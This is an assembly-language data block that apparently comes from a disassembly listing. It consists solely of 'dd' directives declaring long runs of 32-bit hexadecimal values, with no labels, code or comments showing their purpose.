dd 6C0C81B1h, 18FE0A27h, 9F4700A7h, 2003DD73h, 0E90B1219h
dd 0E159586h, 31F4C03Ch, 780E60h, 5AEEA5C0h, 59ED8943h
dd 7C4E4000h, 0CE3B5DB3h, 789902F1h, 9D621615h, 434FE3C0h
dd 0A2249200h, 0A3060748h, 44A003Ch, 73FB355Bh, 0CE719B96h
dd 2AEAD200h, 8A50D068h, 0A5BD0038h, 6482F98Fh, 0F0001C6Dh
dd 20C06546h, 0E8F3A3h, 0FF5169D7h, 2C08E1C1h, 0A6F1721Eh
dd 4F33EC80h, 0EE4247h, 14B21C22h, 0C3FE2C09h, 0AE1E2AFCh
dd 3A8F2321h, 19E56084h, 4A7C81Eh, 48A5A183h, 0CFBA808Fh
dd 0C6004D78h, 7B7FE5E9h, 3EBFFh, 22495BE8h, 1A966E4Eh
dd 42415D0Bh, 0B7F50056h, 3B1C7BA9h, 17709B0h, 0E3CC0F1Eh
dd 804DD47Ah, 15AEFB30h, 1C6A9E68h, 0C01CD9h, 19125614h
dd 0A500C1B1h, 0C552AEF6h, 14C2B8E9h, 9402BC91h, 4C6E4E11h
dd 7ADE1DB9h, 211072C0h, 1F0315ABh, 40236473h, 0AE59E16Dh
dd 9D00D7E2h, 0DAB279CAh, 77941DCEh, 30EA245Dh, 649E0004h
dd 0C192E40Dh, 759DB200h, 21CDCF35h, 0D96D0051h, 6391D031h
dd 860068D5h, 416B1CF4h, 0FCFE60h, 0ABDC49DEh, 3A1B1504h
dd 0CF00347Bh, 9819D410h, 0A4593Eh, 6E1FBDF1h, 71862860h
dd 41724000h, 466820D2h, 6CCD0059h, 4EBAE7E1h, 0B40282CBh
dd 6AB85137h, 46D0812Bh, 4C2080B9h, 0F5BB0049h, 81050431h
dd 180082D9h, 0BDC0E9C4h, 12FF5A66h, 1F2796h, 952B7F2Ch
dd 0AA181698h, 5E407E1Ah, 0BBE300F9h, 0F3E64EC0h, 0C200BF60h
dd 3369D616h, 0BED1B5h, 2EF6ABA5h, 5E494129h, 9A036378h
dd 8A23FC16h, 77EEA91Bh, 38919180h, 0EB2C3101h, 0CC6B6128h
dd 0A93C4901h, 0C82021ACh, 18C45080h, 2FB6AF4Ch, 29068332h
dd 1A9F403Dh, 840D005Eh, 249B2B18h, 0CD028F59h, 783A0DAh
dd 0F7D08025h, 9E326C1h, 0BD0DAB20h, 0C8E7000h, 5E00F8E0h
dd 17555FE7h, 26834Fh, 8A3B337Dh, 12A175FFh, 0A9E29A04h
dd 0EC902CBAh, 10F6Bh, 0ACA45785h, 5302D7FEh, 4A01C676h
dd 0DCE7BE3Eh, 0D0EF01DEh, 305F45A4h, 3EC90A6Fh, 0C403BA9Ch
dd 0B6A781A1h, 4151B8EFh, 3B587283h, 8F00806Bh, 0B4AB9FBBh
dd 0DA307FB2h, 56AD1092h, 0CE0B0044h, 9886A942h, 0F3E6E8A7h
dd 29923Fh, 9372D44Dh
dd 41373D3h, 71EAE27h, 0F8C480CBh, 23006F7Eh, 9A178E37h
dd 418A97h, 4AE73071h, 6D75B8D4h, 54C74300h, 38FE73D2h
dd 2621308Dh, 858BD311h, 0BB025503h, 0A3B7E345h, 18C5E0D0h
dd 7E8014FDh, 0A630B80Bh, 2D4E5F31h, 69123505h, 0D080ADB2h
dd 90270447h, 842F01FDh, 88317D4Ah, 6ECC456h, 0B7CFA900h
dd 0C33CE825h, 308E0EC6h, 11C0714Eh, 6D70B863h, 8929C400h
dd 0C93D9976h, 0ACD50E0Ah, 1DEA64E2h, 0B90900CCh, 0F2570D4Fh
dd 7AD04B0Eh, 8920A391h, 0FFEBC896h, 48C33AB0h, 0D39D900h
dd 0A88D9772h, 2026ED0Eh, 444D643Ch, 60A32C82h, 97C2354h
dd 0A9038C04h, 59AF1800h, 660091BCh, 966D77A3h, 0F0609B62h
dd 6CBA3C84h, 0DCF8A40Eh, 0FA72FEE0h, 0C217CCD4h, 1F006F53h
dd 9FE125E0h, 0A2880793h, 70D42390h, 0C3A7D57Ah, 1E97DF18h
dd 0E81168h, 0F63BDBD2h, 0A2166255h, 5F942800h, 769AE698h
dd 0F00760A1h, 0DDDE47E2h, 5122FE00h, 9DD09F42h, 96C00123h
dd 355D787Eh, 9E49C45Fh, 0D1F36B00h, 83192CA6h, 0E90E00EBh
dd 8CD37A98h, 481D6EB5h, 64C0D69Dh, 0B7A37295h, 44220118h
dd 0AD5B590Ch, 0D4602410h, 267A0900h, 4BBD5D91h, 53472C32h
dd 18764050h, 0DD28CEFEh, 4400A46Ah, 0EE1EFC87h, 9CBFE5h
dd 5E27685Ah, 0D0DA0F01h, 57D6EA05h, 0B000768Ch, 1C131462h
dd 97AC00BBh, 274B40FDh, 23014209h, 218582FCh, 0F831B154h
dd 0CECFC8h, 0C69F576Bh, 0A8E271B8h, 0C094744Ch, 6DC04EEAh
dd 0A55200B3h, 49ED5516h, 3F7B485Bh, 1861D000h, 85D2C525h
dd 95D42C92h, 0AAA20F90h, 0A3B3F2A3h, 2D598DE8h, 18857207h
dd 3603996h, 8B8971h, 1CEA1B7h, 0BC730D28h, 75529F05h
dd 0B080A2A9h, 90606AF2h, 870539ACh, 5D00C83Ah, 0FC98710Ah
dd 0F7012079h, 0DC59F23Bh, 0A8EB4567h, 5A2DDh, 108F9EBEh
dd 0D0735108h, 931F9602h, 681B9929h, 7243FD98h, 6970075Fh
dd 30754EC4h, 0AC3080Eh, 0BCA06FE6h, 10034C8h, 0CF5161CDh
dd 217B862h, 0BF6DFFC9h, 2862D43Bh, 22055363h, 751A15D7h
dd 6A0C7880h, 1F440035h, 0FD0ECA81h, 2B00AD08h, 0D4DBAA53h
dd 0FC6F26h, 2EAEC098h, 0EAE2E057h, 108C9E4Dh, 4A810B8Ch
dd 0D0E6DFDCh, 7C01510Fh, 1F28BAA1h, 0D1CCA835h, 0EDE109A2h
dd 0A4005B97h, 28052160h, 0C07DA100h, 0F04E9AB0h, 2EA60011h
dd 3DE19939h, 0F4E4694Bh, 53512900h, 0B8D603DFh, 7DCB00ADh
dd 7FDB859Ah, 1D729FBEh, 4F2D020Fh, 8FC2C0F5h, 3F9891FEh
dd 4C85A66Bh, 80F1D73Ch, 3E8B595Dh, 40030AF6h, 827CCDDFh
dd 0BF20B0BEh, 6D5009Fh, 163711ABh, 0D97936B3h, 75FAB800h
dd 0E045E984h, 25E21CCCh, 7C62CE02h, 108027E9h, 3E689666h
dd 0B416D800h, 47DE2BD2h, 20690044h, 0C8DF5D0Ch, 0D00CB51h
dd 678BE003h, 8542A1h, 35A0FEE3h, 6C6C80Bh, 22005CB2h
dd 86F56B1Fh, 0E2598C0Dh, 0B72B0041h, 144B1D38h, 1C0046A6h
dd 0ED353A83h, 0B861A0EEh, 7827E93h, 716006BBh, 0EEFE0CDh
dd 921FCA95h, 98802A7Eh, 64C2288Ah, 34A90185h, 293F9EC6h
dd 1AED6061h, 0A23DE403h, 0DAD49B1Fh, 7898C4BFh, 3B9C0EEDh
dd 0C15FD173h, 4162EABEh, 8010BF72h, 3E915429h, 12F09480h
dd 0CD2863h, 37B39C40h, 0F60235FEh, 941C298Bh, 0DF1C407Fh
dd 2A5E1D25h, 0E3D004Dh, 0B6AA59D2h, 8362110Fh, 5C2EA0E9h
dd 9A9B3h, 0DE42D4B0h, 3B7F031h, 78516F00h, 83240CE0h
dd 2747008Bh, 93A55D28h, 1A01F44Ah, 6C8FE90Fh, 0F020EA3Eh
dd 7A8400FDh, 0EBE381CCh, 64E71034h, 6100F6B8h, 9A4FABFBh
dd 1D06426Fh, 3C0A91Bh, 50FCE83Eh, 0EE0909Bh, 0C3FE0283h
dd 2A2CF090h, 78160025h, 0FA5BC0Bh, 0DF1AE000h, 45BF09Bh
dd 0C6F94127h, 0C0C0D06Fh, 151D43B1h, 1A05A47Bh, 198083FDh
dd 0B21D203h, 11785E62h, 99726820h, 8D0E26CEh, 6088012Fh
dd 4FF0E163h, 0C76E0EE6h, 0DE83F3h, 491B8DDAh, 9C00B667h
dd 7E681164h, 39CA27BAh, 3B819D43h, 46C2EE79h, 0B3F03062h
dd 246DE711h, 0AE8C8F00h, 0F1AC38D6h, 80351738h, 3655CA41h
dd 48DA191Bh, 0E1D0080h, 4D720638h, 0EB041081h, 8217E09Fh
dd 0ACFC8Ch, 8F5A2E13h, 0B0B6029Eh, 9CBC48h, 0F3D3AE32h
dd 18CBA3BBh, 18C27051h, 0FAEEA8F4h, 19B36E05h, 0BD0018A5h
dd 65FC9374h, 0E2721EC2h, 7C5ECFB1h, 0C17EE940h, 0F900B92Ah
dd 771CE871h, 0D95CB7h, 1015FC8Ch, 0B85A6657h, 5687651Dh
dd 0BBB2CE80h, 0D5AAF6h, 0B62FD1E3h, 0CF8A2776h, 60B8255Eh
dd 67F4FA07h, 6E7530D2h, 1A00410Ah, 31C93A4h, 0A7ABD9h
dd 8DE84E9Ch, 5BF2ACFEh, 12C8F81Fh, 8C203F9h, 66E2FCh
dd 775DD098h, 0BCDAC646h, 513EDC00h, 27E1A8FEh, 3189C64h
dd 88C67895h, 8F4656E0h, 994E6B1Fh, 0BDBA22C2h, 258E6F6h
dd 85DCB08Ch, 3800DA01h, 126B69h, 7449477h, 0B86CAF76h
dd 9131605h, 1C80658Ch, 94BD63Ah, 0D142E0B4h, 9B832400h
dd 200F59Ch, 467BDB99h, 2DD861h, 0A83BB5A2h, 0FADE1C83h
dd 5DCF08C9h, 270C7B01h, 0D067D1F6h, 963041A3h, 9B2C21FCh
dd 45407D0h, 0C051A948h, 5C82D547h, 501C140Fh, 979C07CCh
dd 0D7E906CEh, 1ED2F880h, 0B36441Ah, 1821E41Bh, 80490F2Bh
dd 25F53440h, 0E0B8850h, 9052B4F0h, 0F2DA7F40h, 0F17E7BCEh
dd 0D24D28C0h, 0A1C08086h, 2F08B6Ch, 52DB0ED1h, 4880A109h
dd 86D790FDh, 8100167Fh, 4DE3E46Ah, 0C5A7EAh, 0F90FD479h
dd 3EC754CDh, 0E688810Bh, 9FEF071Bh, 0BCA321C0h, 0C33A030Ah
dd 50709CB9h, 0F11E8899h, 6F7730F6h, 1B08580Eh, 87C09C6Eh
dd 784440Ch, 14D079Ch, 0E08E1EFDh, 0BB0C243h, 7ACC0800h
dd 8C37D0ECh, 36D30FDAh, 0B86EBB8Ah, 7D4C9A60h, 0EE6EEE1h
dd 27884700h, 0C6ACB251h, 0C46D0004h, 3C53ABE3h, 7AFEBA98h
dd 0F837CB03h, 98677D79h, 705DC1Fh, 4D36E3F2h, 9DC6D0BBh
dd 8C3FD520h, 0A98B01A7h, 0A2F571BDh, 0FEB1BBC4h, 925101F2h
dd 85B928A6h, 23080B7h, 5A0B5BBEh, 83D505D4h, 40AEB34Ch
dd 0DC2A47F8h, 260E2762h, 0B9DED461h, 68246008h, 0DCB20367h
dd 508DA14h, 11FB28D0h, 0E65C2002h, 881CCAE2h, 3C80D898h
dd 4E27ED61h, 33E4F80Fh, 0B2081735h, 0D85B2100h, 6B3EAEF3h
dd 70F1004Dh, 8C476EF9h, 2300FC10h, 79DCD653h, 0C061B2BAh
dd 1DDAD281h, 0A10035F2h, 0A52C62CCh, 0F605B7EAh, 0BECA0E06h
dd 79614E22h, 0E0D41596h, 6A023641h, 0D71C041Bh, 1DACE00Ch
dd 59B227AEh, 0EF805C8Fh, 0D2E43F0Fh, 0C1467206h, 6108BC4Ah
dd 211421CBh, 7B35EC3Fh, 0EEF43100h, 0D420EBA5h, 8A010370h
dd 1CE65AE9h, 56F3D906h, 520DF8Bh, 0D0AAD168h, 0E90485Bh
dd 21ED63C0h, 157F214Eh, 3F5C4BBh, 6E85F3DAh, 89C0A30Eh
dd 700FC3Eh, 20A92C1Ch, 7329BCDh, 17569A0Ah, 81E89ADCh
dd 69E7A657h, 4274E016h, 40076000h, 3DDAFD7h, 0C4B60075h
dd 0B85921FDh, 1000E38Fh, 0A623C4Ah, 322B29h, 8D0DB1EFh
dd 85E8A36Bh, 5FE71700h, 573ADFEBh, 26CB3C3Fh, 98719A80h
dd 4C6253D6h, 0C05F4700h, 8C03723Ah, 21C902BBh, 14E9FF79h
dd 0D40A7540h, 66104E60h, 1B17255h, 1CDE35CAh, 6F326DFDh
dd 9D43B0h, 0FF505D78h, 9E69EBDBh, 0E3F9F000h, 51D62CB6h
dd 0B20D07C3h, 0C6DA5F13h, 0D3285088h, 0F60F044Eh, 83F8DDC9h
dd 0C002DB51h, 3CBCD23h
dd 55D6F263h, 38BBB564h, 8930A2E0h, 56194CEAh, 728F588h
dd 0C3018C08h, 7EF637FCh, 0CA019E56h, 7F13104Eh, 1B8680F3h
dd 629AFA40h, 343A5133h, 777E6F23h, 0DD0F4529h, 6A518857h
dd 29DB983Bh, 0D400BFE5h, 71641D5Dh, 0C1BED3h, 4D536D77h
dd 873D3C76h, 9DA88800h, 3EA26AD5h, 0C1F917FEh, 47460035h
dd 63F3D1FFh, 0F1B05C00h, 0C8AE7AF0h, 5924020Fh, 0BD3E9A1Ah
dd 159415E0h, 5318C760h, 0E896C8h, 14899C98h, 4CB0EDD1h
dd 2725B200h, 5C7DA8Fh, 82D0030h, 864E851Ah, 230B3B55h
dd 0F0D94DCh, 84EA207Fh, 0B2ED48h, 625FA43Ah, 127F0F35h
dd 65FA99EAh, 4F6F4700h, 8C10AEFh, 341F8E6h, 125FA626h
dd 300F3CEBh, 200C222Ch, 0A8CA97B5h, 0C3D70092h, 28BCE44Ah
dd 0E80060D5h, 26C827C5h, 98BF6B0Ch, 471F00E5h, 8A76BBEAh
dd 0EE000516h, 9896AC90h, 0A014DDh, 0C1852DC6h, 5D296DAAh
dd 3A8B4E12h, 22884440h, 263897Bh, 72B5C2Ch, 0C2E0B4D9h
dd 6E00A1C2h, 0CD64A2DEh, 7F574Eh, 5D370D83h, 0BD91BC05h
dd 70CEC300h, 9BE2E1A1h, 0B65A0072h, 9623F1A5h, 8000C1F3h
dd 798A5E09h, 2C82C82h, 8649E21Ah, 94803E53h, 0F1D982Ah
dd 0D2697100h, 0E4E1EA7Eh, 24111DA6h, 5F803F87h, 0F08635C2h
dd 630971CAh, 29F7D8h, 0A4BF7568h, 0B1E00045h, 3DC87C13h
dd 1F00C926h, 35B0DDC3h, 2429FCF3h, 0BC1D9Fh, 0C4E5DE41h
dd 0C8375C5Ah, 431078C6h, 6E0D9B91h, 0E1C0106Fh, 3801C04Eh
dd 0B01AC709h, 9BAC21EFh, 0B12A3BA1h, 854CC416h, 48411900h
dd 4A9D5C52h, 54E3007Fh, 0D01FFB90h, 81D35C3h, 1C1830E7h
dd 0F9FAAA10h, 48D103ECh, 3B0444B7h, 8055657Ah, 98B479B2h
dd 41A62507h, 3230FA62h, 5BE5E9h, 0FE06531Bh, 0CC437EF5h
dd 0AEC6E600h, 0F30BD4Ch, 0E961C6Ch, 3D4F408Ch, 24F7683Ah
dd 3E9C8300h, 0A0FD34E2h, 0BBA9000Dh, 1C5749A3h, 648BEC5h
dd 8AC80034h, 2630DE80h, 0CDC6006Ch, 0E4E8E07Eh, 357C1E57h
dd 5009C73h, 0A60DA2F1h, 1127082h, 0AFAB5CDDh, 30EC90B3h
dd 46986E38h, 0E84A1400h, 2C34B880h, 94A800A2h, 6A08BD71h
dd 9671DECAh, 637DC901h, 12ED1BECh, 7A00F428h, 7285B13h
dd 0E9012467h, 7BD2836Dh, 14D88C9Fh, 0A1A03CD4h, 2201BF03h
dd 0A8023EDh, 8300E273h, 3ABE5333h, 0EBC60CAh, 0F0F2036Bh
dd 63BD0540h, 26074435h, 9532822h, 9061D520h, 298100E1h
dd 13E31842h, 0AC00240Eh, 0A248D13Bh, 0A0BC931Ch, 57B07ACh
dd 0FF0DD482h, 97AC040h, 16F222E3h, 0B8400491h, 17711C1h
dd 511F06E2h, 80124E34h, 667DE310h, 1A61FDh, 0B7FC62A0h
dd 9BB60E60h, 58503427h, 41730731h, 0B0930180h, 948CDAA3h
dd 31BC4D1Dh, 2F6A5700h, 24F53Ch, 193022B5h, 4F55C725h
dd 8306BF3Dh, 274420A3h, 67FAC80Fh, 7C17005Eh, 0E232BD2Ch
dd 8D00A81Ah, 0D95F3FB9h, 1D66020h, 845E4339h, 0F8F07B83h
dd 0AD00B8E3h, 0D853FF4Dh, 7EA56D9h, 6B31C97Ch, 0CB137006h
dd 7700F527h, 0D02FDF09h, 0F24AFC5h, 0D1EF9B43h, 0E985AEC0h
dd 3307D5A9h, 0C9F30D8Dh, 56107DF0h, 0F1B0099h, 0CE942838h
dd 0D40353DFh, 9369FE5Eh, 6BE6B855h, 0E7AF001Ch, 3088A1C6h
dd 741D7CB9h, 4D80A551h, 2B3B0C53h, 12AC928Ah, 0F2CC6BCh
dd 821C74A5h, 0F5CDF1E9h, 3EF91843h, 0A12BF441h, 24001B77h
dd 0BF53AFC6h, 0ECFAEF0h, 0F2896EDh, 0F5B73A80h, 94505B1Ah
dd 30099D8h, 3846C41Ch, 360848h, 1EDE5EF6h, 686B5D47h
dd 30EFF47Bh, 720E7624h, 52B04Bh, 0DF9D916Ch, 0A55008Bh
dd 0F29BAA39h, 0FB00C620h, 3876727Eh, 171D3F4h, 0B527556Dh
dd 0D0131B0Dh, 3C008B51h, 0F966BCECh, 778CA114h, 7BD8B745h
dd 1E60A4EEh, 48F5CBF0h, 0AA0005Eh, 0BD8341A9h, 0B4003E3Ah
dd 4E701F54h, 7561A6h, 1794ACF2h, 967260DEh, 0B60055EEh
dd 4DD4F1AAh, 1C865Dh, 0C1564B71h, 0E2492210h, 0FB09B7E0h
dd 0AEA7DFh, 9FBFE900h, 0D6C100B9h, 30EEAA4Eh, 80B4A2Bh
dd 0DDB2BAAEh, 9F77D301h, 0FC0AEDF6h, 933B9249h, 7D241FE4h
dd 32ABB180h, 3A43DE12h, 9A002C80h, 0C3E9D617h, 0A5008B44h
dd 0F31E1022h, 326008h, 11473304h, 3B259D64h, 0AA2048h
dd 8CA0FA3Fh, 16D3168Bh, 0D0CCDBh, 1ABC13C6h, 0BF487C55h
dd 4F0100CAh, 0C3A62AD2h, 38C10354h, 702D52BDh, 0AE8AA4E8h
dd 0CFD8B063h, 5C02D07Dh, 8EAC00ECh, 0EE263721h, 910558F7h
dd 0F8D2F623h, 5C405080h, 865600DFh, 28B8BEBBh, 9600F1D3h
dd 0EF3A7F60h, 12F5A284h, 6E5C51h, 43896C6Ch, 6100D9CDh
dd 9B56D2B6h, 38EADA8h, 0A9BFE374h, 0C0D0031Ch, 3A2ADF59h
dd 1416B4B2h, 4C4485A3h, 0A520D8AAh, 0F003459h, 7F94FEF0h
dd 0F67471A6h, 0A9D002C1h, 7C6FDB67h, 0CEF2D60h, 87F1D916h
dd 7201305Eh, 0A3EDD86h, 704530h, 0BCD81B31h, 94556AFBh
dd 0DC86FA00h, 727166A1h, 3B64001Fh, 0D66B650Fh, 0BE717C0Bh
dd 12830700h, 0AEF4FCEFh, 2E0C004Fh, 3E23058Eh, 0BF00725Ch
dd 37AA1F3Ah, 7B656Dh, 0B85E581Eh, 8FC30EEFh, 15F5BD00h
dd 0B5FB379Fh, 0F41E01E2h, 4B9D4873h, 44070EAh, 0CB89AD08h
dd 0DC260091h, 0A74E41E1h, 0EC14B914h, 8E7500A7h, 2E5C817Ah
dd 0CB09Bh, 3716C28Fh, 1DF0FA40h, 0D2FCC70Bh, 5848A083h
dd 0E8742314h, 4A7F98h, 0CED62412h, 0E19CB47Ah, 68635D00h
dd 560ADCC5h, 0B1C628D1h, 0E5D300C4h, 6DF70576h, 0B400DB4Ah
dd 0D64C2D35h, 2DF4583h, 302CE25Dh, 39C0895Ah, 883CBC34h
dd 778F1FB2h, 3DF6E841h, 530BBA3h, 0C33B008Ch, 82C6180Dh
dd 8400B2CAh, 0E3FA5F06h, 8CC5AAh, 6C670B08h, 5869CE05h
dd 461D3400h, 0B3C08694h, 0E265046Fh, 80C47733h, 0FD844F24h
dd 9D72BF00h, 0D6D980E0h, 3B3C01CAh, 82A4AEDBh, 0FE4DF8BBh
dd 1E246758h, 3381E9CEh, 62D0A7AAh, 93F424h, 6720A1A6h
dd 0E94D1DFAh, 3DE2700h, 0B4AC2F0Ah, 891E0055h, 116123F4h
dd 60041D4h, 9BB7AB86h, 30CD7B15h, 1DE2AA4Bh, 8F03D9ACh
dd 63A7D257h, 0B093CCC9h, 0C0A0EC5Fh, 0C2154CE0h, 9E026A00h
dd 92D58822h, 8004779h, 2CD020DCh, 0D4E80Fh, 988A6E0Bh
dd 0B6285545h, 52ACE00h, 0E1D86FAEh, 8429486Dh, 0B7C45C04h
dd 18B08CCFh, 0B076A100h, 3A528D60h, 400C07E4h, 609C486Ah
dd 0CFE104FEh, 8E334A00h, 63B092B5h, 0F9D409D1h, 0B800235Dh
dd 732C415Bh, 31F9900h, 69812DC4h, 1DE20074h, 7E068C10h
dd 6A0076E7h, 0EFDBB6D0h, 1EA263Ch, 46B1446Fh, 808DC78Ah
dd 0DD9DCCB8h, 91E44Ch, 0F1562F8Bh, 0C7CEDCE7h, 328CD700h
dd 0ADB0AF6Ch, 3240011h, 1497D207h, 6E741E34h, 5CCCCA3Fh
dd 6F8B0038h, 98A73B80h, 2CDE790Dh, 72AFF3h, 6D9AC73Eh
dd 0A54DD1CEh, 82680020h, 7AC269C0h, 14700073h, 0AC6398DDh
dd 0C7003C08h, 808D307Fh, 0B862945h, 0B573FC9Ch, 0ADF02820h
dd 5400553Dh, 56EEF32Fh, 33AB02Bh, 808A9C75h, 0F01EF1FCh
dd 1640ADBFh, 62B2D406h, 2FE8002Eh, 0A5D5CF63h, 27180DC5h
dd 45E8D2B8h, 5B6500A6h, 0B6B73446h, 3374E6CCh, 0B9C94F00h
dd 2F872167h, 9A5B0035h, 31EE6150h, 2D7AE006h, 0C24BEC06h
dd 7AA3607h, 2071BC83h, 0B018E015h, 44002410h, 9D3D93CAh
dd 1C03263Fh, 84862362h, 80ECB4FFh, 315B1B37h, 5201D494h
dd 4EBB680Dh, 0BEC2D4h
dd 0AE1B6536h, 0EF0EACABh, 0C3808D5Ah, 0EF59DE2h, 100DE3F6h
dd 0C18CDB41h, 0FC88C5D4h, 1D006BCEh, 31F44C0Fh, 0E0719C8Eh
dd 0C51C0FCFh, 244114BBh, 41BA1B1Fh, 0F0AC8080h, 0C20902CAh
dd 0B6724Dh, 0AABCDF9Fh, 710A001Ah, 236DDAFAh, 0CB0C07FBh
dd 0B0890225h, 7CEB5C5Eh, 7E8C7F80h, 311F2A80h, 69C0799Fh
dd 38237019h, 78F20947h, 14008974h, 0C3F34AB7h, 6D0F4C7Bh
dd 0A4935ECAh, 4C03F29h, 0B86BF83Dh, 0D0734Ch, 9B7BADEEh
dd 0CAB6BAC3h, 26C4E200h, 0EAF7B3D2h, 0D6D4009Ah, 61955DD3h
dd 7648D76Bh, 10850048h, 226DA7A3h, 0F4B7EA13h, 0A50600BFh
dd 388E4740h, 697A2F17h, 3C045D7Fh, 0EA145AF5h, 29325FC0h
dd 0FFD60307h, 136FF64Ch, 0C8DC2800h, 3F805EFh, 0A53B07D0h
dd 0E07E43E5h, 0BAAC6A75h, 8420E407h, 0C8902523h, 115AFB2h
dd 7B879AD6h, 0F55EEC8Dh, 0B78020B3h, 0DB88F400h, 466A059Ch
dd 0AE7FF9h, 2953A9A6h, 0D2EE3F7Bh, 9BD8E41Eh, 0BB00D45Eh
dd 0DE23B733h, 497D0158h, 5DF2F6FEh, 0D2CDF41Bh, 0E8B01172h
dd 1AE08409h, 3F5444D4h, 1459AB48h, 3B709B00h, 1073CD04h
dd 0EFCF6200h, 26443635h, 281800F2h, 6442DE08h, 712FCC80h
dd 135FFCAFh, 0DC0000DBh, 0E1AEB488h, 0A0E29905h, 8A015C9h
dd 40814EA6h, 0BF777894h, 0ECB20255h, 3513C097h, 0F6B0C2h
dd 83D85141h, 0C9C846Ah, 26815200h, 7EA464F9h, 0D62C0496h
dd 0C0723130h, 33CDED68h, 20AFE951h, 18008F28h, 0FF394E6Eh
dd 65AD4BE5h, 80BF2873h, 5767B6F4h, 0ED1E98F6h, 3F40CFD6h
dd 0D38CD869h, 229F002Fh, 49AD6232h, 9307A694h, 6EDDD63Ah
dd 67A07DA0h, 7882003Ch, 774CF737h, 0C3FEB47Fh, 0CAF8C500h
dd 18310A84h, 92E43Ch, 0E12B101h, 6A73F6C7h, 0FF20E100h
dd 0AB61F7F9h, 717B0B81h, 0C508BA89h, 9CAF0090h, 0C366345h
dd 516EB207h, 0E1D212D5h, 16ECE97Bh, 0A300A8BFh, 0C3383C3Bh
dd 1B019F9Bh, 76C52146h, 3E305F66h, 0D5830523h, 1DB3DAAh
dd 0A7688CF8h, 56CA10CEh, 0B3351EB9h, 0D072805Eh, 0F2D3551Ch
dd 0C36CFE00h, 994DEBCh, 6521DBAh, 0E9F08937h, 0C4005C6Ch
dd 0ECA48B9Fh, 0E2FA3296h, 2C290109h, 55BD0183h, 896C602Eh
dd 0F60BF100h, 0D682E6D4h, 6DEE00E5h, 489808CFh, 89E879DEh
dd 9627B700h, 0F6A88690h, 24731Ch, 0E1EEFCD3h, 69976081h
dd 96F33F00h, 706FA74Fh, 0ABBD0063h, 0B181C3BEh, 0F70F6405h
dd 6156E30Ah, 22C69079h, 97E5BEC8h, 0B8A9FD40h, 2AC40600h
dd 0BA21E69Eh, 0C08C3338h, 46F8F720h, 5F004D8Fh, 976CF075h
dd 35EF51Ch, 4BC88ACh, 0E0DCFCB0h, 20C04E8Ch, 8EB9EB1Ah
dd 40E8968Fh, 628583BAh, 23001074h, 228017E8h, 467B9Bh
dd 0EE149A1Dh, 7262DD96h, 6401C1E8h, 770F9771h, 7864BE8Ch
dd 335178ACh, 1C1198DEh, 0D26BA1E0h, 183DCE12h, 0C59EA440h
dd 0E281091h, 0C0165992h, 0FB80FE9Ch, 27E63DA0h, 230F4833h
dd 0A7B60122h, 0C0C07B57h, 0A25EC5h, 66AEF73Eh, 3F60F87Dh
dd 2BC20500h, 41521A0Dh, 0E9FE0077h, 9AB32F2Ch, 130251AFh
dd 79EA81CDh, 0C0D8E5h, 0FE636168h, 0A6882CC8h, 4D22B500h
dd 8BEF9F1Ah, 0FC98C014h, 0FA34FD16h, 38EA1331h, 0C2D5E7Eh
dd 0B3372E00h, 42C3C899h, 0E7D6F100h, 0BE05B9FEh, 9E2700C6h
dd 0AF0290F7h, 0B51D5288h, 9A017576h, 3EA01B95h, 2FFCD0h
dd 430EAFD3h, 0A73148EFh, 9EDD8000h, 0DEE6D234h, 6FF90E99h
dd 0B4C776F0h, 1E9D808Eh, 2807076Ch, 62BF9371h, 66C04B25h
dd 2D4582h, 246469DDh, 660B4DF5h, 80ACBA38h, 0B0E783BFh
dd 16DC0BDh, 981CF0DDh, 0E8D3460Bh, 6F07CDB4h, 0C3BF9982h
dd 0A4ECAB41h, 5D427E4h, 96111EA6h, 84DC0024h, 0FEACE88Fh
dd 8B36743Eh, 0C026CA72h, 0D4379Ch, 0C0B5D93h, 0E3AF102Fh
dd 70679900h, 0C897A8A3h, 0FCB2FEh, 71CDFA8Bh, 0AC837485h
dd 95E6651Dh, 897F6F80h, 187DC1E3h, 302E1B5Fh, 39C0F94Bh
dd 66C871E8h, 0A2A71C60h, 6D830063h, 4DDE8250h, 4C2FDD00h
dd 7E62EAD1h, 0F12B012Ah, 0BA26DA79h, 85E05012h, 0FE00B275h
dd 0CAC641E7h, 7E0FDA5h, 766E7D9Ah, 392A409Bh, 25F2139Ch
dd 0A338B401h, 0E4F63B34h, 1351C24h, 0A403C024h, 0C0B6672Bh
dd 44C127ACh, 16DB096Bh, 92E164DCh, 1CF658B4h, 74983880h
dd 33078B79h, 5A404353h, 0B8978801h, 25B51E80h, 7A8DCC5Ch
dd 35A42D00h, 10AD3985h, 102E6744h, 5704CAE3h, 72C08E83h
dd 0DEBBE04Bh, 0E007004Eh, 29C24F5Ch, 75072D61h, 941B5BDAh
dd 6A1F30C0h, 0A2163638h, 29C7FC29h, 8885556h, 449E25B4h
dd 288750A2h, 2951624Ah, 0AE222608h, 0C163224Fh, 0B580D905h
dd 73D9EE7h, 0D142AAB2h, 1E17B183h, 0F4D7DC0Bh, 0C74BCD00h
dd 0C0F6EF63h, 7CFE41Ch, 174ED997h, 0BE18C055h, 6D00B465h
dd 0CD8B7D6Fh, 15DC453h, 0EB346228h, 0DCF1FA67h, 0FDF856FFh
dd 0C856000h, 68CE5843h, 823D007Dh, 0CFE21A7Ch, 0CC005F22h
dd 0C1C536BCh, 4A864Fh, 0FCA0B81h, 0DC2C0E62h, 1D1F9607h
dd 9D0E1149h, 982B83FFh, 1FF9C3FEh, 0C06D1710h, 12F245A7h
dd 1C544BB5h, 790065C4h, 3ED39FF6h, 38B1CEF9h, 588622EBh
dd 10CCE773h, 4BC71E02h, 3CFB2A8h, 1688EA2Ch, 0EF01351Ah
dd 68BDDB6Eh, 0EC413B07h, 40203CF1h, 0F87F22h, 32D68CF2h
dd 2687EC8Fh, 0E800E8B8h, 0E1626340h, 0ACC884h, 0A7429904h
dd 2E0FAABFh, 5A8DC201h, 0BB92494Ah, 754FCCh, 0E2854C9Ch
dd 0A20B51Ah, 56A9C024h, 0A032E900h, 724E31BEh, 7349CE1Eh
dd 5003D080h, 59003D20h, 6A4BC1C4h, 0F547E8h, 52355D48h
dd 22F224F3h, 0D9A922Eh, 6CC8BD00h, 509629h, 0FEAE15EAh
dd 0DD84058Ah, 0B9E82D00h, 908FBDE1h, 0C23C0055h, 66A67E5Bh
dd 0A1FA941Dh, 490047FEh, 1B57D9B0h, 0B361D1h, 0B82208A8h
dd 7FD5DBC2h, 0FD8DC30Fh, 0A374A0B6h, 111942h, 45CE6E88h
dd 0BA831EA7h, 0B84DDF24h, 0FB8DEE00h, 1EFC6408h, 8120CCADh
